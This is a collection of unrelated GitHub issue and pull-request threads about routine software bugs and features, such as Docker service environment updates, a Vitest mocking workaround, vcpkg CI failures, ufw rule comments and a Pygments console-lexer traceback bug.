--env-add flag doesn't update the variable as the help states

Output of docker version:
Client:
 Version:      1.12.0
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   8eab29e
 Built:        Thu Jul 28 22:00:36 2016
 OS/Arch:      linux/amd64

Server:
 Version:      1.12.0
 API version:  1.24
 Go version:   go1.6.3
 Git commit:   8eab29e
 Built:        Thu Jul 28 22:00:36 2016
 OS/Arch:      linux/amd64

Output of docker info:
Containers: 18
 Running: 7
 Paused: 0
 Stopped: 11
Images: 10
Server Version: 1.12.0
Storage Driver: devicemapper
 Pool Name: docker-202:1-149180-pool
 Pool Blocksize: 65.54 kB
 Base Device Size: 10.74 GB
 Backing Filesystem: ext4
 Data file: /dev/loop0
 Metadata file: /dev/loop1
 Data Space Used: 5.9 GB
 Data Space Total: 107.4 GB
 Data Space Available: 963.2 MB
 Metadata Space Used: 8.262 MB
 Metadata Space Total: 2.147 GB
 Metadata Space Available: 963.2 MB
 Thin Pool Minimum Free Space: 10.74 GB
 Udev Sync Supported: true
 Deferred Removal Enabled: false
 Deferred Deletion Enabled: false
 Deferred Deleted Device Count: 0
 Data loop file: /var/lib/docker/devicemapper/devicemapper/data
 WARNING: Usage of loopback devices is strongly discouraged for production use. Use `--storage-opt dm.thinpooldev` to specify a custom block storage device.
 Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata
 Library Version: 1.02.77 (2012-10-15)
Logging Driver: json-file
Cgroup Driver: cgroupfs
Plugins:
 Volume: local
 Network: host bridge overlay null
Swarm: active
 NodeID: **
 Is Manager: true
 ClusterID: **
 Managers: 1
 Nodes: 1
 Orchestration:
  Task History Retention Limit: 5
 Raft:
  Snapshot interval: 10000
  Heartbeat tick: 1
  Election tick: 3
 Dispatcher:
  Heartbeat period: 5 seconds
 CA configuration:
  Expiry duration: 3 months
 Node Address: **
Runtimes: runc
Default Runtime: runc
Security Options: apparmor
Kernel Version: 3.13.0-92-generic
Operating System: Ubuntu 14.04.4 LTS
OSType: linux
Architecture: x86_64
CPUs: 2
Total Memory: 3.859 GiB
Name: ip-10-100-20-69
ID: ***
Docker Root Dir: /var/lib/docker
Debug Mode (client): false
Debug Mode (server): false
Registry: https://index.docker.io/v1/
WARNING: No swap limit support
Insecure Registries:
 <IP_ADDRESS>/8

Steps to reproduce the issue:

Create a service: i.e: docker service create -e A=c --name test redis:latest

docker service inspect test --pretty gives you the following:
ID:		a666bsuxvm6yem3nub2ikplyi
Name:		test
Mode:		Replicated
 Replicas:	1
Update status:
 State:		updating
 Started:	1 seconds ago
 Message:	update in progress
Placement:
UpdateConfig:
 Parallelism:	1
 On failure:	pause
ContainerSpec:
 Image:		redis:latest
 Env:		A=c
Resources:

You can see the environment variable has been passed.

Now, update the environment variable A following the description of --env-add, which states it's used to update the variable as well as add a new one. I understand it work like an 'upsert':

docker service update --env-add A=b test

See the output of docker service inspect test --pretty

ID:		a666bsuxvm6yem3nub2ikplyi
Name:		test
Mode:		Replicated
 Replicas:	1
Update status:
 State:		completed
 Started:	3 seconds ago
 Completed:	1 seconds ago
 Message:	update completed
Placement:
UpdateConfig:
 Parallelism:	1
 On failure:	pause
ContainerSpec:
 Image:		redis:latest
 Env:		A=c A=b
Resources:

Describe the results you received:
As it's evident, the environment variable is duplicated:
 Env:		A=c A=b

I expect the variable A to be updated instead.

ping @dnephin PTAL

@hvpareja @thaJeztah @dnephin I created a pull request #25427 to address this issue. Please let me know if there are any issues.


151 user doesn't see previously selected categories

Close #151

Shouldn't we delete an unused container?


Lowercase connection names

I get these errors when connections have uppercase letters in them when trying to query them directly:
Error: relation "myConnection.table" does not exist (SQLSTATE 42P01)

This change will lowercase all connection names.

Related to https://github.com/turbot/steampipe/issues/3987 which has the workaround of using quotes around the table name. However, I think it will be helpful to still lowercase the connection names by default in this script so that users won't all run into this issue of trying to figure out that they need to put the table name in quotes.

Addressed in https://github.com/turbot/steampipe-samples/pull/23


[disk] Added option to change compress folder path

@DarKnight24, separate the commits into individual pull requests (they are not related ;)).

I have updated the PR accordingly.


Empty meta.csv file

Not sure what specific thing to report, but here is the error.
Downloading image information (33,126 total) ---------------------------------------- 100% 0:00:00
Downloading image files (33,126 total)       ---------------------------------------- 100% 0:00:00
The following unexpected error occurred while attempting your operation:

Traceback (most recent call last):
  File "C:\ProgramData\Anaconda3\lib\site-packages\isic_cli\cli\__init__.py", line 132, in main
    cli()
  File "C:\ProgramData\Anaconda3\lib\site-packages\click\core.py", line 1128, in __call__
    return self.main(*args, **kwargs)
  File "C:\ProgramData\Anaconda3\lib\site-packages\click\core.py", line 1053, in main
    rv = self.invoke(ctx)
  File "C:\ProgramData\Anaconda3\lib\site-packages\click\core.py", line 1659, in invoke
    return _process_result(sub_ctx.command.invoke(sub_ctx))
  File "C:\ProgramData\Anaconda3\lib\site-packages\click\core.py", line 1659, in invoke
    return _process_result(sub_ctx.command.invoke(sub_ctx))
  File "C:\ProgramData\Anaconda3\lib\site-packages\click\core.py", line 1395, in invoke
    return ctx.invoke(self.callback, **ctx.params)
  File "C:\ProgramData\Anaconda3\lib\site-packages\click\core.py", line 754, in invoke
    return __callback(*args, **kwargs)
  File "C:\ProgramData\Anaconda3\lib\site-packages\click\decorators.py", line 38, in new_func
    return f(get_current_context().obj, *args, **kwargs)
  File "C:\ProgramData\Anaconda3\lib\site-packages\isic_cli\cli\utils.py", line 17, in decorator
    f(ctx, **kwargs)
  File "C:\ProgramData\Anaconda3\lib\site-packages\isic_cli\cli\image.py", line 116, in download
    writer.writerows(records)
  File "C:\ProgramData\Anaconda3\lib\csv.py", line 157, in writerows
    return self.writer.writerows(map(self._dict_to_list, rowdicts))
UnicodeEncodeError: 'cp950' codec can't encode character '\xed' in position 52: illegal multibyte sequence

isic-cli: v4.0.1
python:   v3.9.12
time:     2022-08-18T02:08:57.607452
os:       Windows-10-10.0.19043-SP0
env:      -
user:     -
command:  isic image download --search  --collections 70 --limit 0 myimages/

Thanks, this looks like a genuine bug - I'll look into it and report back.
Is this the actual command you ran isic image download --search --collections 70 --limit 0 myimages/? Because that isn't syntactically valid.

@actechforlife I pushed a new version of the CLI that I'm hoping will fix this for you. You'll need to upgrade the isic-cli package.
Let me know if it works.

Closing this as fixed, feel free to reopen if this recurs.

Yea. It’s fixed. Thank you. Sorry for not replying earlier.
On Fri, Aug 26, 2022 at 7:52 AM Dan LaManna @.***>
wrote:

Closing this as fixed, feel free to reopen if this recurs.
—
Reply to this email directly, view it on GitHub
https://github.com/ImageMarkup/isic-cli/issues/19#issuecomment-1227865299,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AB3TXMYATDJ4NTDFKSAUCOTV3ABNFANCNFSM563VCHSQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

--
Acquah Hackman, PhD
Data Scientist
AI Center
Changhua Christian Hospital, Changhua City, Taiwan


Upgrade bblfsh drivers and fix driver todos

There are several todos pointing to github.com/bblfsh. With the new drivers being released these should all be resolved. The drivers will need to be upgraded and the todos resolved.

@chess-equality, please take of this when you can.

@BFergerson Ok I'm on it.


Case sensitive replace does not respect case

Performing a Replace ("Search -> Replace Text") with "Case Sensitive" selected does not respect case, i.e. text is matched for any combination of upper and lower case characters and replaced with the "Replace with:" text.
To reproduce:

From the menu, select "File -> New file...".
Enter the following text: """
Sample text to replace
"""
From the menu, select "Search -> Replace Text"
Enter the text "sample" in text to look for
Enter the text "Should not appear" in text to replace with
Ensure "Case Sensitive" is selected / checked / active.
Click "Replace / Find"

Expected:  Text should remain as is because "sample" does not match "Sample" in a case sensitive manner.
Instead: The text "sample" is replaced with the replace text "Should not appear".
Versions and main components

Spyder Version: Spyder 3.1.2
Python Version: Python 3.6.0 32bits, Qt 5.7.1, PyQt5 5.7.1 on Windows
Operating system: Windoes

Dependencies
jedi >=0.8.1     :  0.9.0 (OK)
matplotlib >=1.0 :  None (NOK)
nbconvert >=4.0  :  5.1.1 (OK)
numpy >=1.7      :  None (NOK)
pandas >=0.13.1  :  None (NOK)
pep8 >=0.6       :  1.7.0 (OK)
pyflakes >=0.6.0 :  1.5.0 (OK)
pygments >=2.0   :  2.2.0 (OK)
pylint >=0.25    :  1.6.5 (OK)
qtconsole >=4.2.0:  4.2.1 (OK)
rope >=0.9.4     :  0.9.4-1 (OK)
sphinx >=0.6.6   :  1.5.2 (OK)
sympy >=0.7.3    :  None (NOK)

Yup, I have the same problem.


feat: implemented gptme.vim plugin

Fixes https://github.com/ErikBjare/gptme/issues/213
gptme wrote all of this, I'm honestly stunned.
It is amazingly good, I will prob be using this all the time!

[!IMPORTANT]
Introduces a Vim plugin for gptme enabling direct interaction from Vim with configurable settings and key mappings.

Features:

Implements a Vim plugin for gptme allowing interaction directly from Vim.
Supports running gptme queries with context from the current buffer.
Results are displayed in a new buffer.
Configurable context size and key mappings.

Installation:

Instructions for installation using vim-plug and manual installation in scripts/vim/README.md.

Usage:

Provides :Gptme command and <Leader>g mapping for running gptme.
Handles visual selection and context around the cursor.

Configuration:

Settings for context lines and key mappings in .vimrc.

Files Added:

scripts/vim/README.md: Documentation for the plugin.
scripts/vim/doc/gptme.txt: Help file for the plugin.
scripts/vim/plugin/gptme.vim: Main plugin script.

This description was created by  for 889a213b27eb24dd7e4e4657620de2177a3da40f. It will automatically update as commits are pushed.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 72.63%. Comparing base (cdd8c6b) to head (889a213).

:white_check_mark: All tests successful. No failed tests found.
Additional details and impacted files
@@            Coverage Diff             @@
##           master     #241      +/-   ##
==========================================
- Coverage   72.68%   72.63%   -0.06%
==========================================
  Files          60       60
  Lines        3833     3833
==========================================
- Hits         2786     2784       -2
- Misses       1047     1049       +2

Flag
Coverage Δ

anthropic/claude-3-haiku-20240307
71.64% <ø> (ø)

openai/gpt-4o-mini
71.53% <ø> (-0.06%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Add Support for listeners

according to the quartz docs you need the schedule to hook up listeners. the extension should expose the IScheduler instance, or provide methods to hook up Jobm Trigger and Scheduler listeners behinf the fluent API.

Merged PR


Enable longterm statistic

Hello,
first of all, great job, it's work like a charm.
I've proposition to enable long term statistic for sensors.
As far as I understand there should be defined a "state_class: measurement" for an sensor entity and that should do the job.
https://developers.home-assistant.io/docs/core/entity/sensor/#available-state-classes
Currently is need to prepare template sensor with defined "state_class" based on Hydro sensor.
It could be as optional parameter in sensor configuration.
My programming skills are not on that level to be able to provide a code proposition - sorry.
I think it could be valuable for some users and it seems not so complicated to implement.

Added in v1.0.7


fix: verify-checkout uses wrong sha to validate for pull_requests

This is the reason the pre-submits are currently failing for renovatebot.

It never did, because we never bumped the versions. I'm hoping to get rid of all the pinning in https://github.com/slsa-framework/slsa-github-generator/issues/880


Link to issue 9 in intro

r? @steveklabnik

Thank you!

I should have mentioned #9 here so it shows in the issue's thread. Oh, look at that; I just did!


feat: expose apis of resourcemanager liens

Fixes #91

@chingor13 PTAL

@elharo all the comment have been resolved, also simplified the code and also update test cases with mockito. PTAL

@elharo PTAL

@elharo PTAL

@elharo PTAL

@elharo gentle ping

@elharo PTAL


[vulkan-memory-allocator-hpp] Update to 3.0.1-1

If this PR updates an existing port, please uncomment and fill out this checklist:

[x] Changes comply with the maintainer guide
[x] SHA512s are updated for each updated download
[x] The "supports" clause reflects platforms that may be fixed by this new version
[x] Any fixed CI baseline entries are removed from that file.
[x] Any patches that are no longer applied are deleted from the port's directory.
[x] The version database is fixed by rerunning ./vcpkg x-add-version --all and committing the result.
[x] Only one version is added to each modified port's versions file.

Note: I will be converting your PR to draft status. When you respond, please revert to "ready for review".
That way, I can be aware that you've responded since you can't modify the tags.

Hi again @FrankXie05. I fixed the port version and added (Development branch) in the description. Does everything look okay?

@McFlyboy Yes, thanks for your understanding and contribution. Waiting for the ci checks to complete and will be merged this. :)

Draft this until CI check complete .

I updated the port, but the CI run failed on x64_windows_static with this output:
vcpkg has crashed. Please create an issue at *** containing a brief summary of what you were trying to do and the following information.

Version=2023-06-08-19a3cb921a585fce63c0651f56a991a5a08bdc60
EXCEPTION=bad allocation
CMD=
C:\a\1\s\vcpkg.exe|
x-ci-clean|
--x-buildtrees-root=D:\buildtrees|
--x-install-root=D:\installed|
--x-packages-root=D:\packages|
--overlay-ports=scripts/test_ports|
##[error]vcpkg clean failed
At C:\a\1\s\scripts\azure-pipelines\test-modified-ports.ps1:134 char:5
+     throw "vcpkg clean failed"
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : OperationStopped: (vcpkg clean failed:String) [], RuntimeException
+ FullyQualifiedErrorId : vcpkg clean failed
##[error]PowerShell exited with code '1'.

From a quick search I wasn't able to find any information regarding the issue. Do you know what's causing it @dan-shaw?

/azp run

/azp run

x64_windows_static worked this time, but both x64_windows and arm_uwp failed 🤔

/azp run

Now all of the above succeeds, but x86_windows fails... Is there an issue with the CI-script, or is it only with this port? 🤔

It looks like somethings block the CI.

/azp run

/azp run


[Docs] Broken heading in README.md

Currently, there is a problem with the heading in the readme.md file, specifically in the Code of Conduct section. The heading is not displaying correctly and instead, it is showing the readme script. I would like to resolve this issue and fix the heading.

Assign this to me under GSSOC23. Thank you!!

can you check? @srivastavaritik


People parser

Only approver after MESH since this is based off of that change

Please fix merge conflicts. Also, we should probably remove the people.csv file or make a more generic one.


Vitest testing

My team and I have used your Jest Mocks when we started doing unit tests with Jest. But we are switching over to use Vite and Vitest which has very similar apis. But we cannot use jest and vitest together.
Describe the solution you'd like
It would be nice to have a package like this targeting the vitest testing library (I think just changing over jest.whatever to vi.whater might be enough?)
Describe alternatives you've considered
I thought about forking this repo for Vitest, but didn't want to maintain such a thing.
Additional context
N/A

I agree that it would be nice to support compatible testing-libraries as much as possible, but in this case this could be a bit too much.
The only jest-function we actually use is jest.fn(), which looks like it has a compatible replacement with vi.fn() in vitest.
If those are actually compatible in the long term (idk if it is supposed to stay that way?) we could use an alias instead that uses either jest.fn or vi.fn based on what is globally available.
Alternatively, it should be possible to inject a simple window.jest = window.vi into the vitest-environment, which should also do the trick.

Easy to fix:
import { vi } from "vitest";

globalThis.jest = vi;

... = await import("@googlemaps/jest-mocks");

(Do not use package @anshulsanghi/googlemaps-vitest-mocks it's a poor solution: no need to fork @googlemaps/jest-mocks for 2 simple lines of code + it doesn't seem to be maintained anymore)

@tkrotoff, @usefulthink  how can I achieve this?
I am using vitest on my project and trying to write your approach:
global.jest = vi;
but I am receiving ReferenceError: jest is not defined

not sure what setup-env is... Is that a file you specified to vitest via the setupFiles option? Also you can @ts-ignore those type-errors (or provide the file as js), we know they aren't 100% compatible, but it should be enough for our use-case.
According to the docs here: https://vitest.dev/config/#setupfiles, it should also be globalThis instead of global. Beisdes that, I never used vitest, so I can't really tell...

This is what ended up working for us:

setupTests.ts (top-level)

vi.stubGlobal('jest', vi)

At that point you can actually just proceed to import and use the module as advertised in the original docs
Ie
import { initialize } from "@googlemaps/jest-mocks";

beforeEach(() => {
  initialize();
});


Cannot auto import types

Describe the bug
Cannot auto import types added to the dirs config.
This seems to be because includeTypes is set to false when calling scanExports.
https://github.com/unplugin/unplugin-auto-import/blob/128d050107af1b57ffe2fe2b32018e4110042bde/src/core/ctx.ts#L33
Reproduction
https://stackblitz.com/edit/typeserror?file=src%2Fmain.ts
System Info
System:
  OS: Linux 6.7 Arch Linux
  CPU: (16) x64 13th Gen Intel(R) Core(TM) i5-13400F
  Memory: 49.13 GB / 62.64 GB
  Container: Yes
  Shell: 5.9 - /usr/bin/zsh
Binaries:
  Node: 18.18.2 - /usr/bin/node
  npm: 10.4.0 - /usr/bin/npm
Browsers:
  Chromium: 121.0.6167.160

Used Package Manager
npm
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guide.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Check that this is a concrete bug. For Q&A, please open a GitHub Discussion instead.
[X] The provided reproduction is a minimal reproducible of the bug.

See also #61

Is anyone tracking on that?


Same method when redrawing as when theme changed

Fixes #24173

Thanks!

Cherry-picked for 3.1.2.


This is ugly

I've got common.py with load() and analyze_channels(), but then wave_analyzer.analyze() does the same thing.
I want everything wrapped in try: so it can run without any command line window and just pop up the results using easygui, or Exceptions in easygui if they happen, but then everything is wrapped in a try statement which is ugly.  Separate file that launches the rest?
Having each analysis in its own function is nice, but if multiple functions are doing the same FFT on the same signal, wouldn't it be better to keep the previously-computed FFT to save time?  So I should pass an object to the analysis functions instead, and if they compute FFT they should attach FFT results to the object as a cache?
Then I've still got the standalone gists for each analysis function that should be merged into this and killed off.
Suggestions welcome

I reorganized it into an importable package, so this is partially fixed.  Still some loose ends to tie up, though.


[FLINK-31098][table] Add ARRAY_SIZE function.

What is the purpose of the change
This is an implementation of ARRAY_SIZE

Brief change log
ARRAY_SIZE for Table API and SQL

Verifying this change
This change added tests in CollectionFunctionsITCase

Does this pull request potentially affect one of the following parts:
Dependencies (does it add or upgrade a dependency): ( no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (yes )
The serializers: (no)
The runtime per-record code paths (performance sensitive): ( no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn, ZooKeeper: ( no)
The S3 file system connector: ( no)

Documentation
Does this pull request introduce a new feature? (yes)
If yes, how is the feature documented? (docs)

@snuyanzin could you help review it?

Thank you for your contribution.
To be honest I'm a bit skeptic about ARRAY_SIZE, please see at my comment in corresponding jira issue.

hi @snuyanzin please review it again, i fix all your review infos

hi @snuyanzin have changed, i reorganized the commits and make it two commit

hi @snuyanzin please review it again

hi @snuyanzin do you have time to review it again?


[hw,rv_dm,dv] Update jtag_item to support random pauses

Add four fields in jtag_item to support introducing Pause states in an active TAP request

dr_pause_cycle -> indicates on which cycle pause state is introduced
dr_pause_count -> indicates number of cycles pause state is retained
ir_pause_cycle -> indicates on which cycle pause state is introduced
ir_pause_count -> indicates number of cycles pause state is retained

Update jtag_driver such that there are minimal changes in environment

This PR partially addresses https://github.com/lowRISC/opentitan/issues/17032

Looks like lc_ctrl_jtag_smoke block-level test is failing (seed 1, simulator VCS); can you take a look?

Yes, I was debugging it. There seems to be an subtle issue in driver code when PauseDR is introduced in last cycle of ShiftDr. Since dout captured from jtag_driver is used to update the Register model, there are some failures.
I've updated the constraints in to 4b2698 workaround the issue

Nice, thanks!


Fatezero pynative disk

Fatezero

A README.md  file is needed. If possible, pls try to move the fate-zero related codes out of the stable_diffusion_v2 directory and provide the git URL link to the video file instead of keeping it in videos/, like this #275 .


Stack manager to use local image if connection to remote repository fails

Currently, the stack manager contacts a remote image repository (e.g. a CMCL server, but this applies more generally) to check for docker images, but terminates with fatal error if it cannot connect to the server, even if all required images are already locally available.

At some point in the last few weeks, this behaviour appears to have gotten even worse: It not only seems to check but now even pulls the remote image even if there is (a newer) one present locally with the exact same name and tag.

I also note that this issue is now no longer just an inconvenience, but show-stopping for one of our projects, where we need to be able to spin up a stack essentially without internet connection.

Not sure if this is related to, or should be mingled into, #735.


HUE/WEMO state changes not reflected in HA.

Make sure you are running the latest version of Home Assistant before reporting an issue.
You should only file an issue if you found a bug. Feature and enhancement requests should go in the Feature Requests section of our community forum:
Home Assistant release (hass --version):
0.57.2
Python release (python3 --version):
Python 3.6.3
Component/platform:
HUE/WEMO
Description of problem:
State changes to HUE and WEMO devices not being reflected in HA if used via external means (native apps etc).  HA is communicating with the said devices however (can turn on/off etc)
Expected:
If I turn a light or switch on in the HUE/WEMO apps I expect to see the change reflected in HA.  They are not. Toggle switches are not updated to reflect the change and stay in the on or off position.
Problem-relevant configuration.yaml entries and steps to reproduce:

Traceback (if applicable):

Additional info:
Running on Synology in a Docker.  Also have Homebridge running in a docker (which works fine and state changes in the iOS HOME app ARE reflected in HA for the above devices).

Seems the issue was down to Docker not fully accessing host network. Resolved.


Unable to import commonjs file with default export

Describe the bug
This is the same as #2219, but I wasn't able to reopen.
The initial bug was resolved, but I ran into it again when importing a file from node_modules. I tried different things, but I'm not sure why it happens with this one file and not with other cases.
I updated the reproduction example.
Reproduction
https://github.com/danez-labs/vitest-default-commonjs with latest commit

npm i
npm test

System Info
System:
    OS: Linux 5.15 Ubuntu 20.04.5 LTS (Focal Fossa)
    CPU: (16) x64 AMD EPYC 7B13
    Memory: 29.12 GB / 62.80 GB
    Container: Yes
    Shell: 5.0.17 - /bin/bash
  Binaries:
    Node: 16.18.0 - ~/.nvm/versions/node/v16.18.0/bin/node
    Yarn: 1.22.19 - ~/.nvm/versions/node/v16.18.0/bin/yarn
    npm: 8.19.2 - ~/.nvm/versions/node/v16.18.0/bin/npm
  npmPackages:
    vite: ^3.2.2 => 3.2.2
    vitest: ^0.24.5 => 0.24.5

Used Package Manager
npm
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

Type definition of @vercel/nft assume it returns default function, and not a default.default function. It also provides __esModule hint for bundlers to look for. By default Vitest respects it, because most of the code is bundled wrongly and users usually don't care, since bundlers fix it for them, when they run code in a browser.
You can disable this behaviour with deps.interopDefault: false option.

I guess we can disable it by default, if environment is Node 🤔 @antfu what do you think?

You can disable this behaviour with deps.interopDefault: false option.

Ah yes this worked, thanks.

I had the same issue, but it seems to be fixed now (with v. 0.28.3).

Yes, this is fixed. We tried enabling it by default for node environments, but there were a lot of unexpected issues, so we rolled it back. Vitest always tries to interop default. If you rely on Node behavior, disable deps.interopDefault manually.


Verify syntax of Ids

Currently it's possible to "trust" anything that base64-decodes, even if it doesn't have the correct length.

[x] cargo +nightly fmt --all

I'm not sure if I resolved it right.

What do you mean by resolved?

There was a conflict

Oh, I see. I've rebased it.


inaccurate answer and possible bug not redering answer properly

Is this a new workflow or an update?
Update
What is the name of the workflow?
Find all files in a directory that don't contain a string
What should the workflow do?
find ALL files
What does it do (only if it's an update)?
find only files not starting with dot

I believe this was fixed on the preview build as I was unable to reproduce, so should make its way to main build soon.

@jnordwick Are you still seeing the same issue with the workflow?

@jnordwick friendly ping on this! Would love to close this out if you are unable to repro

I'm sorry I wouldn't know I haven't tried this in a while. But please feel
free to close it out Don't keep it open for me
On Fri, Jan 13, 2023, 17:35 Aloke Desai @.***> wrote:

@jnordwick https://github.com/jnordwick friendly ping on this! Would
love to close this out if you are unable to repro
—
Reply to this email directly, view it on GitHub
https://github.com/warpdotdev/workflows/issues/104#issuecomment-1382584904,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AASBHXGCKDZUE6MF4VWGER3WSHRC5ANCNFSM55ZDWVVQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

Great, i'll go ahead and close this out. Please reopen if you start experiencing this issue again!

I might install this again just check it out watch out Make sure chat GPT
doesn't eat your lunch
On Wed, Jan 25, 2023, 08:19 Aloke Desai @.***> wrote:

Great, i'll go ahead and close this out. Please reopen if you start
experiencing this issue again!
—
Reply to this email directly, view it on GitHub
https://github.com/warpdotdev/workflows/issues/104#issuecomment-1403695640,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AASBHXE67TZ6NUEFFF5E6NTWUEY6RANCNFSM55ZDWVVQ
.
You are receiving this because you were mentioned.Message ID:
@.***>


duplicate goroutine

Output of helm version:
Output of kubectl version:
Cloud Provider/Platform (AKS, GKE, Minikube etc.):
I found duplicate goroutine in pkg/action/install.go

I have offered a PR #10477


ufw: add comment

if you have a lot of ufw rules and look at them via sudo ufw status it would be beneficial to have comments indicating the purpose of a rule (especially with ports which are not that well-known)
e.g. on a raspberry pi with pihole
% ufw status
Status: active

To                         Action      From
--                         ------      ----
51820/udp                  ALLOW       Anywhere                   # vpn
22/tcp                     ALLOW       Anywhere                   # ssh
DNS                        ALLOW       Anywhere                   # dns
80/tcp                     ALLOW       Anywhere                   # http
22/tcp (v6)                ALLOW       Anywhere (v6)              # ssh
DNS (v6)                   ALLOW       Anywhere (v6)              # dns
80/tcp (v6)                ALLOW       Anywhere (v6)              # http
51820/udp (v6)             ALLOW       Anywhere (v6)              # vpn

You can see here that when using the iptables, the comment follows the format ${VPN}-something-rule. UFW should do the same: https://github.com/pivpn/pivpn/blob/d7771c251418fa443869397d46f93c5b0c197558/auto_install/install.sh#L2075


Feature/293 min max dates for collections

collections.py json structure now has "min_date" and "max_date" for each GEE collection.   When the user requests a date range for their job, only the overlap of the date range and the valid date for the collection will be used.
@samvanstroud could you have a quick look at whether the "min_date"/"max_date" values for the various landsat collections in configs/collections.py look sensible?  (I took some numbers from the GEE catalogue, but not sure if they're the best values).

Some minor changes in collections.py, let me know if they look okay @nbarlowATI


[Feature request] Customize frequently used IP addresses

Is your feature request related to a problem? Please describe.
My PC's fixed IP address is <IP_ADDRESS>
My mobile phone's fixed IP address is <IP_ADDRESS>
Although they are not in the same network segment, automatic network scanning cannot find each other, but in fact they can communicate with each other. You only need to manually enter the IP address of the other party to transfer files.
But it is a little inefficient and annoying to manually enter the address of the other party every time.
I hope you can add customized frequently used client devices or IP addresses.
LocalSend is the best. Thank you very much.
Describe the solution you'd like

Describe alternatives you've considered
No response
Additional context
No response

Duplicate of #7


Add comparable support to strategies

Add comparable as This todo mentioned.

@st0012 could you also provide test coverage for this change? Thanks in advance!

@schmierkov ok, I have added some tests, and the CI fails because of bundle error.


[1.6] Adjust inbound and outbound filter chains (#28442)

Adjust inbound and outbound filter chains

fix test

(cherry picked from commit 1f422dd56161d16f9e77bcde5ccc7cd3e065e870)
Fixes https://github.com/istio/istio/issues/28547

@howardjohn: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

lint_istio_release-1.6
90c00e5bc5399a610208414da458daeeab707d25
link
/test lint_istio_release-1.6

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

lint_istio_release-1.6
90c00e5bc5399a610208414da458daeeab707d25
link
/test lint_istio_release-1.6

integ-local-tests_istio_release-1.6
90c00e5bc5399a610208414da458daeeab707d25
link
/test integ-local-tests_istio_release-1.6

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


RFC: socket.subscribe takes a data object

Currently, the API for socket.subscribe looks like this: socket.subscribe(channelName [, options])
I propose socket.subscribe(channelName [, data] [, options])
The use case:
You may need to pass in other variables that you don't want to put in the channelName. For example if you use GraphQL, you may want to pass in the queryString. If you're subscribing to a single object where the ID won't change, then you can make a user-specific subscription (eg instead of cars/123 you could just subscribe to myCar).
Alternatively, this can currently be done by putting a lookup table on the server. This works as long as the data is not user-defined.
Open to thoughts on how to tackle this problem!

@mattkrick I like the idea of passing custom data to the options object. So the signature would still be:
socket.subscribe(channelName[, options]) but the options object could be like (example with waitForAuth set to true):
{
  data: someData,
  waitForAuth: true
}

Ok, this was implemented in socketcluster-server v4.1.11 and socketcluster-client v4.3.14


Check Boxes, Select boxes and Radio Buttons

We need to discuss styling.

Discussed with @CassidyB and will let the current implementation stand. May have add-on module in the future.


Running "atom " opens folder twice in tree view

When I use atom <path> from the command line to open a folder in a new atom window it shows two instances of that folder in the tree view. Example: atom C:\Code\Go\src\bosun.org starts a new atom window with two bosun.org folders in the tree view:

Tested on Windows 8.1 using Atom 0.183.0

You're running an old version of Atom that had some multi-folder bugs – can you try updating to the latest version (0.187.0) and see if you still experience the issue?

Hmm... thought it was set to auto update but looks like that wasn't working. Uninstalled atom 0.183, deleted temp files in %temp%, and re-installed from https://atom.io/ and now it is working as expected. Thanks!


Enable automatic builds with Travis CI

Enables continuous integration with Travis. Travis needs to be enabled in the GitHub Marketplace.
Currently blocked until #40 is merged.
> Manifest merger failed : uses-sdk:minSdkVersion 11 cannot be smaller than version 14 declared in library [com.android.support:support-v4:27.0.2]
Previous runs on EwoutH/android-BluetoothChat can be viewed here: https://travis-ci.com/EwoutH/android-BluetoothChat

I am closing this issue/PR, as it has been migrated to the new repo linked above in the comments. Thank you!


Bug in pycon lexer

(Original issue 874 created by mindprince on 2013-05-30T04:33:33.502457+00:00)
When using the following input with the pycon lexer, the output is not complete. Only the first line is shown in the output but the following lines are not shown.

>>> 1/0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  ZeroDivisionError: integer division or modulo by zero

The output is http://pygments.org/demo/82880/

(Original comment by tshatch on 2014-05-17T01:21:02.101075+00:00)
This is embarrassing.  I'll rework the console lexers -- anything that ends with a traceback will hit this.

(Original comment by mindprince on 2014-05-17T05:09:22.040343+00:00)
Just a note, the following is how the python console prints tracebacks and it works correctly with pygments:
>>> 1/0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by zero

I had mistakenly input the following:
>>> 1/0
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  ZeroDivisionError: integer division or modulo by zero

which caused the issue.
It is still a bug as the output text doesn't match the input text. But it happens rarely, that's why you haven't seen more reports of this. :-)

(Original comment by birkenfeld on 2014-10-07T11:46:00.647912+00:00)
Closes #874: do not swallow incomplete tracebacks in the Python console lexer.
→ <<cset 5b840c2aca04>>


[BUG] menu not visible while hover

Expected Behavior
When the user hovers menu, the text color should be visible
Actual Behavior
What happens instead?
Screenshots (if applicable)

Additional Information
Add any other context or information about the issue here.

also white color doesn't suit with yellow background.

Hi @devvsakib , I am currently working on the project myself I will probably remove that

Can i work on this bug

@devvsakib, can you confirm that this is fixed now?

Yes, It was Fixed

@FrancescoXX Yeah, it looks much better⚡


